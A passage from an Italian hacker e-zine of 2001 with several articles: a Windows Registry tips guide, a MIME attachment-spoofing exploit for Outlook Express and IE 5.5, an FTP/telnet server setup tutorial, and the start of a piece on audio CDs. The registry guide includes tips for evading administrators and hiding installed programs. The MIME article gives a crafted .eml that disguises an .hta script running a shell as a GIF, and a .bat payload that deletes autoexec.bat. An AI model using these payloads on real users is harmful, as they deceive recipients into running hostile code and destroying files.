Questa chiave è secondo mè di scarso interesse, perché è molto più comodo modificare le impostazioni riguardanti il software nella chiave HKEY_LOCAL_MACHINE, in modo che siano imposte a tutti gli utenti e non solo a quello corrente (se si tratta di un sistema multi-utente).


La chiave "
HKEY_LOCAL_MACHINE" contiene le impostazioni hardware e software valide per tutti gli utenti del computer. Tra le sotto-chiavi troviamo “Config”, “Enum”, “Hardware”, “Network”, Security”, “Software” e “ System”.

La sotto-chiave “Config” contiene i profili delle impostazioni del sistema. Troveremo una sotto-chiave per ogni profilo hardware, con nomi del tipo “0001”, “0003” ecc. Comunque in genere esiste un solo profilo di nome “0001”. Anche qui dentro possiamo modificare alcune impostazioni che potrebbero verificarsi interessanti, per esempio nella sotto-chiave ”0001\D

  
isplay\Settings” che troviamo qui risiedono le impostazioni del monitor, come la risoluzione :)
Vi è mai capitato che l’amministratore abbia disattivato le proprietà dello schermo e voi siete veramente stanchi di vedervi davanti delle icone grosse come quadri ?!?!? Ecco come fregarlo :) (spesso infatti gli admin si dimenticano di disattivare regedit, e anche se lo facessero basterebbe usare un trojan per riattivarlo, modificare ecc.)

La sotto-chiave “Enum” contiene le informazioni e le impostazioni riguardanti le periferiche del sistema, queste informazioni sono quelle utilizzate dal modulo “Sistema” del “Pannello di Controllo” (o almeno, ne hanno tutta l’aria ...)

La sotto-chiave “Hardware” contiene informazioni riguardanti alcuni componenti hardware (ma và ...) del sistema, come il processore, le porte seriali ecc.

La sotto-chiave “Network” contiene informazioni riguardo le impostazioni di rete e il nome dell’utente che ha fatto il login.

La sotto-chiave “Security” contiene le impostazioni di sicurezza della rete.

La sotto-chiave “Software” è come quella di HKEY_CURRENT_USER , solo che le modifiche alle impostazioni dei programmi fatte da qui avranno effetto su tutti gli utenti. Una sotto-chiave mooooolto interessante che possiamo trovare qui è “Microsoft\Windows\CurrentVersion”, infatti in questa chiave possiamo trovare un’infinità di caratteristiche di Windows che possiamo modificare come vogliamo (Grazie Bill !) come per esempio l’elenco dei programmi che vengono eseguiti automaticamente (sotto-chiave “Run”) all’avvio di Winzozz ;)
Relativamente interessante è anche la sotto-chiave “Microsoft\Internet_Explorer”, dove possiamo modificare molte cose del nostro caro broswer, come il titolo della finestra! :)

La sotto-chiave “System” contiene delle impostazioni di sistema, informazioni su driver e sistema operativo, e altre informazioni generiche come l’utente corrente e il nome del computer ...


La chiave “HKEY_USERS” contiene le impostazioni personalizzate dei diversi utenti (di un sistema multi-utente). Qui troveremo una sotto-chiave per ogni utente il cui contenuto sarà quello che viene messo in HKEY_CURRENT_USER facendo il login con quell’username.
La struttura di queste sotto-chiavi è quindi uguale a quella di HKEY_CURRENT_USER e possiamo apportare qui le modifiche che vogliamo siano efficaci solamente su un’utente. :)
Ovviamente se il computer sarà impostato per essere utilizzato da un solo utente apparirà una sola sotto-chiave chiamata “.Deafult” :P


La chiave "HKEY_CURRENT_CONFIG" contiene le informazioni riguardanti al profilo hardware corrente, praticamente si tratta di una copia della chiave “HKEY_LOCAL_MACHINE\Config\000x”


La chiave “HKEY_DYN_DATA” è una chiave “dinamica”, ovvero cambia tutte le volte che accendiamo il computer. Ci sono due sotto-chiavi : “Config Manager” che contiene informazioni relative all’hardware e ai suoi codici di errore; e “PerfStats” che racchiude info riguardo le prestazioni del sistema e della rete.
Questa chiave a noi non interessa, anche perché che senso ha apportare delle modifiche che al prossimo riavvio non sarebbero più presenti ?!?!?

Come modificare

Per la modifica del Registry si verifica molto comodo l’utilizzo dei file “.reg”
Ora vedremo come si può creare, modificare ed utilizzare tali file.

Un file “.reg” come ho detto prima, è un file di testo chiaramente leggibile che contiene una parte o volendo anche tutto il Registry.
Per crearne uno si può utilizzare il comando “Importa/Esporta file del registro di configurazione” che si trovano nel menù “Registro di Configurazione” nella finestra del regedit.exe

La procedura di creazione è molto semplice, basta selezionare la chiave (o il valore) desiderata e poi clikkare su “Esporta file del registro ...”, ci verrà così visualizzata la classica finestra di “Salva File con nome” dove immetteremo il nome e la path del file reg che vogliamo creare e poi clikkare sul pulsante “Salva”

Il file .reg creato volendo può essere modificato con il notepad.

Per reinserirlo nel Registry si può fare doppio click sul file oppure utilizzare il comando “Importa file del registro ...” che si trova nel menù della finestra di regedit.exe


Un modo un po’ più “professionale” per modificare il Registro è attraverso la linea di comando.
In questo modo potremo anche usufruire di ulteriori funzioni, attraverso l’aggiunta di parametri.


SINTASSI : “regedit.exe [/parametro] file_name.reg [chiave]”

PARAMETRI :

file_name.reg
Aggiungendo questa stringa dopo “regedit.exe” viene inserito
nel registry il contenuto del file “file_name.reg”.

/E file_name.reg [nome_chiave]
Aggiungendo questa stringa dopo “regedit.exe” viene creato il
file “file_name.reg” che contiene la chiave specificata (e le
relative sotto-chiavi e valori). Se non specifichiamo alcuna
chiave viene esportato su file TUTTO il Registry.

/D file_name.reg
Aggiungendo questa stringa dopo “regedit.exe” viene cancellato
dal registry il contenuto di file_name.reg

/C file_name.reg
Aggiungendo questa stringa dopo “regedit.exe” vengono aggiunte
nel registro le chiavi contenute in file_name.reg SOSTITUENDO
quelle originali presenti nel registro (attenzione quindi ...)

/S
Hihihi! Il mio preferito ...
Aggiungendo questo parametro non verrà visualizzata alcuna
finestra di conferma o avviso !!! Quindi se inseriamo delle
chiavi nel registro con questa linea di comando :
“regedit.exe /s file_name.reg” non ci verrà chiesta la conferma e tutto avverrà in maniera del tutto silenziosa!

Ci sono anche i parametri “/L:System” e “/R:User” che dovrebbero specificare rispettivamente la posizione dei file System.dat e la posizione del file User.dat, ma non li ho mai provati.
Trucchetti ed esempi

Ora che sappiamo utilizzare i file .reg e quindi modificare il Registry, è arrivato il momento di provare qualche trucchetto ...
(Vi ricordo che nella maggior parte dei casi per rendere effettive le modifiche dovete premere F5 prima di chiudere il regedit, ma alcune volte sarà necessario riavviare il sistema.)


Avvio automatico di un programma ad ogni boot

Andare nella chiave “HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run”
e creare un nuovo valore-stringa con un nome qualunqe (possibilmente non troppo
evidente) e assegnarci come valore la path del programma da avviare

Per farlo con un file .reg aprire il notepad e digitare quanto segue :

-------------------------inizio file.reg--------------------------
REGEDIT4

[HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run]
"nome_stringa"="C:\\Windows\\nome_file.exe"
--------------------------fine file.reg---------------------------

salvare il file con estensione .reg e poi farci sopra doppio-click.


Fermare l’avvio automatico di un programma

Per fermare l’esecuzione di un programma andare nella chiave del trucchetto precedente e cancellare il relativo valore-stringa.


Creare un messaggio che appare ad ogni boot

Andare nella chiave “HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Winlogon”
e creare un valore-stringa denominato “LegalNoticeCaption” (senza apici)
e metterci come valore il testo desiderato che diventerà il titolo della finestra.
Poi, creare un valore-stringa denominato “LegalNoticeText” (sempre senza apici)
e metterci come valore il testo desiderato, che sarà il messaggio che apparirà nella finestra.

Per farlo con un file .reg aprire il notepad e digitare quanto segue :

----------------------------inizio file.reg-----------------------------
REGEDIT4

[HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Winlogon]
"LegalNoticeCaption"="Titolo della finestra"
"LegalNoticeText"="Messaggio che viene visualizzato nella finestra"
-----------------------------fine file.reg------------------------------

salvare il file con estensione .reg e poi farci sopra doppio-click.


Cambiare la velocità delle animazioni delle finestre di Windows

Andare nella chiave “HKEY_CURRENT_USER\Control Panel\Desktop\WindowMetrics”
e creare un valore-stringa denominato “MinAnimate”. Ora potete metterci come valore il numero di millisecondi in cui dovrà avvenire l’animazione delle finestre. Se il valore sarà “0” le animazioni verranno disattivate.





Per farlo con un file .reg aprire il notepad e digitare quanto segue :

----------------------------inizio file.reg-----------------------------
REGEDIT4

[HKEY_CURRENT_USER\Control Panel\Desktop\WindowMetrics]
"MinAnimate"="300"
-----------------------------fine file.reg------------------------------

salvare il file con estensione .reg e poi farci sopra doppio-click.


Modificare il ritardo di apparizione dei sotto-menu di “Start”

Andare nella chiave “HKEY_CURRENT_USER\Control Panel\Desktop” del Registry e creare un valore-stringa denominato “MenuShowDelay” e metterci come valore il numero di millisecondi che i sotto-menu impiegheranno ad apparire. Se il valore è “0” i
sotto-menu appariranno istantaneamente dal momento che il gruppo sarà selezionato.

Per farlo con un file .reg aprire il notepad e digitare quanto segue :

----------------------------inizio file.reg-----------------------------
REGEDIT4

[HKEY_CURRENT_USER\Control Panel\Desktop]
"MenuShowDelay"="300"
-----------------------------fine file.reg------------------------------

salvare il file con estensione .reg e poi farci sopra doppio-click.


Eliminare una o più voci dalla lista dei programmi installati nel modulo “Installazione Applicazioni” del Pannello di Controllo

Se avete cancellato i file di un programma installato, senza seguire la procedura di disinstallazione (o ancora meglio avete installato un programma e non volete che si sappia ;) potete eliminare il suo nome dalla lista di “Insallazione Applicazioni” in questo modo :

Andare nella chiave “HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Uninstall” ed individuare la sotto-cartella che porta il nome del programma in questione e cancellarla. Fate attenzione a non cancellare le altre, perché una volta eliminata la sotto-cartella, il relativo programma non potrà più essere disinstallato, ma potrete solamente eliminare manualmente i suoi files. Consiglio quindi di estrarre in un file .reg la sotto-cartella prima di cancellarla, così potrà essere recuperata quando lo vorremo.


Aggiungere la voce “Apri in un’altra finestra” nel popup-menu

Per aggiungere la voce nel popup-menu (quello che appare quando si clikka col tasto destro su un file) procedere così :
Andare nella chiave “HKEY_CLASSES_ROOT\Folder\shell” e creare una nuova chiave che chiameremo “New_Window”. Una volta creata la chiave andateci dentro e assegnate il valore “Apri in una nuova cartella” alla stringa “(Predefinito)” (Questo sarà il testo che apparirà nel popup-menu), poi create un valore-binario che chiamerete “EditFlags” e gli assegnerete questo valore : “01 00 00 00”.
A questo punto create una chiave (dentro a New_Window) che chiamerete “command”.
Una volta creata la suddetta chiave andateci dentro e cambiate il valore della stringa “(predefinito)” in “Explorer.exe %1”.
Ecco fatto. Ora quando clikkerete col tasto destro su una cartella apparirà anche la voce “Apri in un’altra finestra” nel menù.







Per farlo con un file .reg aprire il notepad e digitare quanto segue :

----------------------------inizio file.reg-----------------------------
REGEDIT4

[HKEY_CLASSES_ROOT\Folder\shell\New_Window]
"EditFlags"=hex:01,00,00,00
@="Apri in una nuova cartella"

[HKEY_CLASSES_ROOT\Folder\shell\New_Window\command]
@="Explorer.exe %1"
-----------------------------fine file.reg------------------------------

salvare il file con estensione .reg e poi farci sopra doppio-click.


Disabilitare la memorizzazione delle password di windows

Questo trucchettino qua può risultare mooolto interessante a scopi di sicurezza ...
Andare nella chiave “HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\Network”
e creare un valore-stringa che chiamerete “DisablePwdCaching” e assegnategli il valore “1”

Per farlo con un file .reg aprire il notepad e digitare quanto segue :

----------------------------inizio file.reg-----------------------------
REGEDIT4

[HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\Network]
”DisablePwdCaching”=”1”
-----------------------------fine file.reg------------------------------

salvare il file con estensione .reg e poi farci sopra doppio-click.


Eliminare una path dalla lista dei programmi eseguiti

Avete lanciato un programma da “Start\Esegui” e non volete che rimanga nella lista di suggerimenti che appare quando dovete lanciare un nuovo programma?

In “HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\RunMRU” troverete la lista al gran completo, cancellate i valori relativi alle path indiscrete ...
Il valore-stringa “RunMRU” che si trova qui è l’ordine in cui appaiono le path di suggerimento, modificate anche quello, in base alle stringhe cancellate se vi và, ma dovrebbe andare tutto bene anche se lo lasciate com’è.



Spero che questo documentino possa essere di aiuto a qualcuno, dato che quando ho cominciato ad interessarmi al registry non ho mai trovato molti documenti a riguardo, ora ne ho scritto uno io, cercando di essere il più chiaro e completo possibile.

Ci sarò riuscito ?!?!?

Frenk666 <mailto:fnk666@libero.it>



+-------------------------------------------------------------------------------+
| ONDAQUADRA MAGAZINE ~ [MiSC] #03 - 17/09/2001 |
| MiME: N0N APRiTE QUELL'ALLEGAT0 ! [E4zy] 0x15/0x29 |
+-------------------------------------------------------------------------------+

Teoria
Lo standard MIME (Multipurpose Internet Mail Extensions) è stato sviluppato
allo scopo di offrire un meccanismo per formattare messaggi non ASCII in
modo da poterli trasmettere in rete. Esso viene attualmente supportato dalla
maggior parte dei sistemi di posta elettronica e viene utilizzato per la
gestione degli allegati (attachment).

Passiamo all'analisi dell'header di un messaggio e-mail che contenga dati
MIME, è possibile isolare i seguenti campi:

.MIME-Version:
versione del MIME

.Content-Type:
tipo di contenuto

.Content-Transfer Encoding:
codifica utilizzata per il trasferimento

.Content-ID:
ID del contenuto

.Content-Description:
descrizione del contenuto

Exploit
La vulnerabilità dello standard MIME sta proprio nel campo "Content-Type",
un uso malizioso di tale campo ci permette di cambiare l'icona del file
allegato rendendolo ingannevole e mantenendone intatto il potenziale.
E', inoltre, possibile attribuire al file allegato un'estensione fasulla
assegnando al file allegato un nome dalla lunghezza complessiva di 255
caratteri esclusa la reale estensione del file. Le versioni del software che
si sono dimostrate vulnerabili alla manipolazione degli header MIME sono
Internet Explorer 5.5 e Outlook Express 5.5

Pratica
Editiamo un file .eml che contenga quanto segue:

---------- Messaggio.eml ----------

MIME-Version: 1.0
To: lamer@666.com
Subject: nomefile.gif<_________spazi__________>.hta
Content-Type: image/gif; charset=us-ascii
Content-Transfer-Encoding: 7bit

<script>var wsh=new ActiveXObject('WScript.Shell');
wsh.Run('command.com');</script>

-----------------------------------

Subject:
La lunghezza del campo <_________spazi__________> va calcolato in modo che
il nome del file allegato raggiunga una lunghezza complessiva di 255
caratteri esclusa l'estensione reale del file (nell'esempio .hta che non va
incluso nel conteggio). Questo permetterà il totale occultamento
dell'estensione del file dal campo soggetto.

Content-Type:
Grazie alla modifica di tale campo un client di posta vulnerabile associerà
al file allegato l'icona da noi desiderata (nell'esempio l'icona image/gif)

Content-Transfer-Encoding:
Questo campo varia a seconda del formato del file allegato (ci si riferisce
al formato reale del file!).
Per un file di solo testo ASCII come ad esempio .txt, .bat o .hta sarà
necessaria una codifica 7bit (come nell'esempio), mentre per file binari
quali immagini, archivi zip o eseguibili si renderà necessaria una codifica
base64. Ricapitolando:

1)Subject: nomefile.txt, nomefile.bat, nomefile.hta
Content-Transfer-Encoding: 7bit

2)Subject: nomefile.gif, nomefile.zip, nomefile.exe
Content-Transfer-Encoding: base64

Corpo del file allegato:
Al termine dei campi MIME viene incorporato il contenuto del file allegato,
nell'esempio è uno script WSH (Windows Script Host) ed è rappresentato da
quanto segue:

<script>var wsh=new ActiveXObject('WScript.Shell');
wsh.Run('command.com');</script>

N.B: il contenuto del file deve essere in accordo con il formato e il tipo
di codifica dichiarato rispettivamente nei campi subject e
content-transfer-encoding, ovvero:

1)Subject: nomefile.bat
Content-Transfer-Encoding: 7bit
@del autoexec.bat
@cls

2)Subject: nomefile.exe
Content-Transfer-Encoding: base64
ghjytfJKGFFfhgvgh785654HGVJugdfyTY56hggyukffyftfFD
jyftxercTYHT64543gyvjDRKYGUGY765VHUGH6hg6Gredtrdtr

Nel caso 1 l'allegato è un .bat che utilizza una codifica come puro testo
ASCII, di conseguenza il contenuto del file risulta in tutto per tutto
leggibile. Il caso 2 porta come esempio un file allegato .exe con codifica
base64, il contenuto del file è codificato di conseguenza.


+-------------------------------------------------------------------------------+
| ONDAQUADRA MAGAZINE ~ [MiSC] #03 - 17/09/2001 |
| Mi M0NT0 L'FTP SU WiN [Screener_it] 0x16/0x29 |
+-------------------------------------------------------------------------------+



Autore: Screener_it
email: screener_it@freemail.it
URL: http://go.to/tankcommandos - www.tankcommandos.org
DATA: 15/05/01

+_+_+_+_+_+_+_+_+_+_+_+_+_+_+_+_+_+_+_+_+_+_+_+_+_+_

Sono esattamente le 21 quando incomincio a scrivere questo txt.. Ho promesso a Tritemius (OQ) che per il prossimo numero della ezine avrei buttato giù qualcosa.. E qualcosa ho buttato giù. Oggi parleremo di come montare un server ftp e un telnet (funzionante !!!!) su Windows in modo del tutto gratuito.

La cosa non è facile come montare un server HTTP (vedi txt "Mi monto un web server su Windows") ma tutto sommato fattibile.
Ho visitato www.download.com e ho cercato FTP server.. Ho trovato più di quanto sperassi.

Fictional Daemon 4.1.. Rapida occhiata.. Windows 9*/NT.. Perfetto, è freeware, appena 700 kb.. E in più anche telnet. Ok, partiamo con il download.
Finito. Adesso bisogna installarlo.
[voi per comodità lo troverete nella sezione Programmi / Varie del sito del Tank Commandos, non andate a cercarlo, non serve !]

L'installazione è classica.. Anzi, più che classica è proprio semplicissima !! Un paio di next e ha già finito..
Ok, ora il programma è installato in c:\programmi\FDaemon quindi io indicherò sempre quella dir come riferimento.
C'è anche il collegamento nel menù di avvio. Ok, facciamo partire Fictional Daemon.
Soliti bla, bla, bla.. "Sei d'accordo nell'utilizzo." Certo ! Click.

Ora parte la configurazione vera e propria.

+_+_+_+_+_+_+_+_+_+_+_+_+_+_+_+_+_+_+_+_+_+_+_+_+_+_

Appena avviato e accettate le condizioni mi dice che adesso dobbiamo creare un account per l'amministratore. La cosa si fà interessante.
Ok, andiamo avanti. Mi fà scegliere pass & id.
ID: screener_it (l'id del vostro root)
PASS: conlaminchiachescrivoquilamipass

Altra finestra. "Attenzione, l'amministratore non ha alcun diritto per amministrare le cartelle. Cliccare VFS per configurare."
Va bene.
Vicino a USER ID vedrete una menù a discesa e dovrete selezionare l'ID che avete creato appena adesso e poi cliccare Show.
Sotto di voi vedrete tutto l'elenco dei permessi dell'utente. SOno i classici. Cmq facciamo un elenco per i meno esperti (come se io fossi esperto..)
Execute: Permesso di eseguire programmi
Shutdow/reboot: Permesso di spegnere il pc
cd /dir: permesso di muoversi nelle dir
Set time/date: devo spiegarlo ?
Kill/Close/Die/Userlogoff: permesso di intervenire sui processi del pc.
Schedult: permette di creare schedule, programmi cioè che si ripetono ogni giorno/settimana/mese
Usermanager: permette di controllare gli accessi in base all'ip
Change own password: permesso di cambiare password
Other, info type: altre info

Se ho sbagliato qualcosa (credo di sì) mailatemi !!
Per attivare questi permessi dovete mettere il segno di spunta vicino alla voce. Ovviamente il root (amministratore) li ha tutti.
Adesso c'è la voce "Homedirectory for this user". Qui potete decidere in che directory può lavorare l'utente. Ricordate che voi gli date la dir principale, poi lui può lavorare sulle sottodirectory (es. se gli date come homedirectory c:\ potrà lavorare anche su c:\documenti).
Clicchiamo VFS Setting.

Ora dobbiamo selezionare la directory di lavoro con i permessi (lettura/scrittura/esecuzione). State attenti e seguitemi bene, perchè già qui la faccenda comincia complicarli. In genere root ha permessi totali (quindi sceglite pass difficili !!!) e come homedirectory ha c:\. Così potrà controllare tutto.

VFS-Path: questa voce indica solo come apparirà la homedirectory all'utente. Potete scegliere di mettere "/" oppure "#" o qualsiasi segno vogliate.
DOS-Path: questa è MOLTO importante. Indica il percorso dos della dir di lavoro. Ad esempio c:\nome_utente. Questo è il root, quindi io scelgo c:
Adesso devo dargli i permessi. Ricordo a tutti che questo è root, quindi gli darò tutti i permessi. Clicco su ADD e nella casella sottostante apparirà il segno che avete scelto in VFS-Path seguito da (R).
QUella R tra parentesi indica il permesso di lettura (read). Ora noi dobbiamo dargli gli altri diritti.
Selezioniamo /(R). Sotto c'è un frame con nome "Right". Mettiamo il segno di spunta su "Read", "Write", "Execute". Per mettergli di muoversi liberamente nelle sottodir selezioniamo anche "Recursive" e poi clicchiamo Make Home (così facendo diventa la sua homedirectory) e poi Apply (applica). Poi Close.
Adesso cliccate "Save Changes"

Fatto, abbiamo sistemato il root.. Col cazzo !! Ve l'ho detto che era lunga. Abbiamo configurato solo il telnet. Ci manca da configurare l'FTP, dobbiamo vedere come aggiungere user con poteri limitati, ecc..
Cmq vediamo se abbiamo fatto un buon lavoro. Facciamo partire telnet (quello di Windows) e come host gli mettiamo 127.0.0.1 (che indica sempre il localhost) come porta lasciamo telnet. "Connetti".
Se appare Username cominciate a saltare. Però aspettate che controlliamo che vada.
username: l'id del vostro root
password: (non vi appare niente, è normale !! Voi digitate la vostra pass e cliccate invio)

+_+_+_+_+_+_+_+_+_+_+_+_+_+_+_+_+_+_+_+_+_+_+_+_+_+_

Januari 2000
We got this GREAT Daemon, it really rocks !

The creator worked hard on it, he want to help the internet
community a bit, so he gives his program to non-commercial
and non-governmental (or related) for free ! (the unregistered version)

But the commercial and governmental (or related) MUST PAY the
fee, see www.fictional.net for details.

Fictional Daemon v4.1 (http://www.fictional.net)
FREE version for NON-COMMERCIAL/NON-GOVERNMENTAL use.
Executing logon script...

/>

Se vi appare questa schermata avete fatto un bel lavoro ragazzi !! Telnet funge !! Problema: come cambiare il messaggio d'ingresso ? Niente di più semplice. Andate su C:\Programmi\FDaemon e aprite motd.txt
Modificatelo come volete e mettete il messaggio d'ingresso che più vi aggrada.

+_+_+_+_+_+_+_+_+_+_+_+_+_+_+_+_+_+_+_+_+_+_+_+_+_+_

Mo' configuriamo l'FTP del root.. Ritorniamo su Fictional Daemon e selezioniamo il nostro user e poi show. In fondo alla finestra c'è la scritta "FTP-allowed for this user". Mettiamo il segno di spunta lì e clicchiamo "Save Changes".
Adesso prendiamo un FTP qualunque.
Host name: 127.0.0.1
ID: l'id del vostro root
PASS: quella del vostro root

GRANDE !! Funge !! E con pieni permessi. Ok, il root è configurato e và da dio. Adesso viene il difficile. Vediamo un po' di aggiunte che possiamo fare:
1.- Accesso telnet & ftp ad altri user con permessi limitati (non root)
2.- Accesso FTP anonimo (user: anonymous, pass: mail@mail.com)

+_+_+_+_+_+_+_+_+_+_+_+_+_+_+_+_+_+_+_+_+_+_+_+_+_+_

1.- Accesso telnet & ftp ad altri user con permessi limitati (non root)

Non bastano le cose che sapete adesso per fare questo. Dobbiamo vedere un paio di altri comandini.
Cominciamo ad aggiungere un altro user con permessi più limitati con acecsso a telnet & ftp.
Facciamo partire Fictional Daemon e clicchiamo su "New"...
ID: ZetaZeroAlfa
pass: nonlosochemetteredipassword

Selezioniamo e clicchiamo "Show". Adesso l'utente "ZetaZeroAlfa" non ha alcun permesso. Che permessi gli possiamo dare ? Beh, possiamo dargli certamente cd /dir, non gli daremo certamente "Shutdow/reboot".
Mh.. "Change Own Password".. Sì, così potrà cambiarsi la pass a piacimento.
Direi che un utente normale non ha bisogno d'altro.
Adesso dobbiamo decidere la sua homdirectory. Clicchiamo VFS. Possiamo creargli c:\zeta come dir. Prima creiamo la cartella poi ritorniamo a Fictional Daemon.

VFS-Path: /zeta
DOS-Path: c:/zeta
Clicchiamo Add, selezioniamo /zeta(R) e decidiamo che permessi dargli.. Beh, nella sua homedirectory gli possiamo dare pieni permessi di lettura/scrittura, selezioniamo Read & Write, Recursive e poi Make Home.
Ok, la sua homedirectory è /zeta. Però potremmo dargli permessi di lettura a tutto il disco se è una persona di nostra fiducia (sconsigliato, potrebbe rubarvi le pass e poi..) cmq si può fare così:

VFS-Path: /
DOS-Path: c:
e poi clicchiamo Add

Selezioniamo /(R) e controlliamo che sia segnata solo la casella "Read".. Dare permessi di scrittura a qualcuno su tutto l'hard disk potrebbe essere doloroso. Clicchiamo Apply e poi (una volta finito) Close. Poi "Save Changes"
Ora, quando l'utente zetazeroalfa si loggherà nel nostro pc si ritroverà
zeta>
con pieni permessi.
Scrivendo cd /
si ritroverà in
/>
con permessi di sola lettura. Semplice no ? RICORDATE: lettura vuol dire che può prelevare e leggere tutto quanto sia in quella dir.

A questo punto possiamo abilitargli anche l'accesso FTP, no ? Selezioniamo l'utente, show e mettiamo il segno di spunta a "FTP-allowed for this user". "Save Changes" anche qui e via. Proviamo.
Apriamo l'FTP
Host Name: 127.0.0.1
ID: zetazeroalfa
pass: nonlosochemetteredipassword

Ci ritroviamo in /documenti
Possiamo salire ed andare su /..
Xò non possiamo scendere in /windows o /ciao . Questo perchè quando abbiamo cliccato su VFS non abbiamo selezionato Recursive.. Questa può essere una buona soluzione per evitare che entri nelle dir degli altri. Se volete che abbiamo pieno accesso (solo di lettura) quando avete aggiunto /(R) cliccate anche su "Recursive".
Quando è in /documenti l'utente zetazeroalfa può anche caricare programmi/documenti/ecc.., quando invece si trova in altre dir può solo prelevare. Se prova a caricare file senza il permesso si ritrova la scritta "No permission".

+_+_+_+_+_+_+_+_+_+_+_+_+_+_+_+_+_+_+_+_+_+_+_+_+_+_

2.- Accesso FTP anonimo (user: anonymous, pass: mail@mail.com)

Ok, qui è abbastanza semplice. Aprite telnet e loggatevi come root (vedi id & pass del root).
Prima di tutto dovete creare un cartella dove inserirete i file che saranno di libero accesso agli utenti che si loggano come anonimi con FTP.
Io creerò una cartella che si chiamerà public.
mi loggo e scrivo
cmd md public
(i comandi vanno preceduti da cmd, md = make dir, public = nome dir)
poi mi sposto in public
cd public
adesso devo abilitare l'utente anonimo
ALLOWANO ON
Adesso devo decidere la homedirectory degli utenti che si loggano come anonimi. Sono già in public quindi digito:
SETDIR -H ANONYMOUS
Ora dò i permessi.. Mh, a un utente anonimo lascerò solo leggere e lascerò la possibilità di spostarsi all'interno di /public, quindi questa è la riga di comando:
FTPRIGHT ANONYMOUS,ADD,RS,/public,C:\public
(ftpright = comando, anonymous = nome utente, ADD = diritti, RS = Read, Recursive [lettura e spostamento nelle sottodir], /public = nome della VFS-Path, c:\public = dos-path)
Adesso è meglio controllare di non avere sbagliato niente, quindi controlliamo i diritti di anonymous con:
FTPRIGHT ANONYMOUS

Vi dovrebbe apparire una cosa del genere:

Rights for user: ANONYMOUS
RS,/public,c:\public

RS = permessi di lettura e permessi di spostarsi all'interno delle sottocartelle di /public.

+_+_+_+_+_+_+_+_+_+_+_+_+_+_+_+_+_+_+_+_+_+_+_+_+_+_

Ok, la configurazione di base è a posto. Abbiamo un utente root, un utente con permessi limitati e un FTP con accesso anonimo. Questo può andare bene per il 99% delle configurazioni. Su questo programma si potrebbero però scrivere decine di pagine.
Tutti i comandi con le sintassi, le varie opzioni, le decine di settaggi possibili.. Ma non sono qui per fare una guida completa per Fictional Daemon. Me lo sono scaricato anch'io senza nessuna guida a parte quella allegata al programma in inglese e sono riuscito a configurare il tutto senza problemi. Vi ho lanciato un inizio, sta a voi andare avanti.

+_+_+_+_+_+_+_+_+_+_+_+_+_+_+_+_+_+_+_+_+_+_+_+_+_+_

Una cosa ragazzi: ho scritto un txt su "Come montare un web server" poi "Oggi mi monto FTp & Telnet". A questo punto molti di voi si diranno: ma allora se è così semplice farsi un server.. Beh, vuol dire che un amministratore non è niente di speciale !! Ragazzi, c'è una bella differenza tra un normale amministratore e un buon amministratore. Io ho usato programmi freeware, semplici da installare e da configurare. E già questo basterebbe per montare un server almeno funzionante. Ricordate però che un buon amministratore deve conoscere i programmi che usa alla perfezione, devi aggiornarli, devi curarli e configurarli in modo perfetto.
E deve essere attento alla sicurezza. Chiunque è capace di montare Fictional Daemon o Apache, ben pochi li conosco veramente a fondo e ben pochi sanno amministrarlo e configurarlo perfettamente.
Voi potete essere amministratori in pochi semplici passi, ma voi potete anche diventare buoni amministratori. Ma i passi allora saranno molti di più.

_+_+_+_+_+_+_+_+_+_+_+_+_+_+_+_+_+_+_+_+_+_+_+_+_+_

Un saluto:
a tutti i membri del Tcc - Siamo online da tanto ed il merito è più vostro che mio !
a Sys - sono lamer, ok.. Xò poi pubblichi i miei testi.. Come mai se fanno schifo ?
a NewbiesTeam - xkè sono simpatici :))
a OndaQuadra & Dirty Net - perchè pubblicano i miei txt
a tutti quelli che mi scrivono mail - BASTA !!!!! :))

Un'ultima cosa: qualcuno cerca un amministratore ? Beh, mi offro volontario, mi bastano 3 milioni al mese !! Referenze ? Ehm.. Nessuna. Titoli di studio ? Ehm.. Licenza media inferiore.. Età ? 17 anni.. Come ? Ripasso fra 4 anni ? E devo avere una laurea ? Ok, grazie :))

+-------------------------------------------------------------------------------+
| ONDAQUADRA MAGAZINE ~ [MiSC] #03 - 17/09/2001 |
| 150 FM (0VVER0 COME METTERE 150 MIN. Di MUSICA SU UN CD) [bondo] 0x17/0x29 |
+-------------------------------------------------------------------------------+
============================================================================================

+--------------------+
| _ ____ ____ |M
| | || __|| |'|M |M
| | || |__ | || |F|u |M
| | ||__ || || |u|s |M
| | | __| || || |l|i |M 150'FM... no, non è una nuova stazione radio...
| |_||____||____|l|c |M
| |M
+--------------------+M
MMMMMMMMMMMMMMMMMMMMMM


============================================================================================


FM stà per FullMusic e 150' sono 150minuti. Mettendo insieme le cose "150minuti pieni di musica".

Per troppo tempo abbiamo creduto a quelli che ci vendono i cd vergini e che affermano che in un cd normale ci stanno solamente 74minuti di musica. Date retta a bondo (chi è bondo? caz! sono io!): in un cd io ci faccio stare 150minuti di musica (rigorosamente punk o ska - ma sì, anche un po' di grunge).


"ah ah ah!!!"


Si, si, ridete pure.
No, questa non è una storiella e io non sono un comico.
Continuate a leggere...

Dicevamo, 150minuti di musica, 2ore e mezza!


"E' impossibile! Come si fa? Li hai messi in mp3!".


No, niente mp3, questo formato l'ho studiato esclusivamente per i lettori cd portatili.


"Oh, ma i lettori portatili normali supportano solo il formato CDDA...".


ESATTO!! E' proprio qui che volevo arrivare. Al famigerato:


_
| |C O M P A C T
_| || || _|| _|
| || ||_ | |
| 0 || | _| || |_
|___||_||___||___|
------------------
*DIGITAL AUDIO*



"Ma anche i disegnini fa?! te, va che figo, nè?"



Questo formato memorizza la musica in PCM, Pulse Code Modulation, ovvero la forma d'onda non compressa. Le caratteristiche sono:

frequenza di campionamento: 44.100Hz
bit per campione: 16bit
canali: 2 (stereo)

e solo file wave di questo tipo può essere utilizzato per la creazione di cd audio.

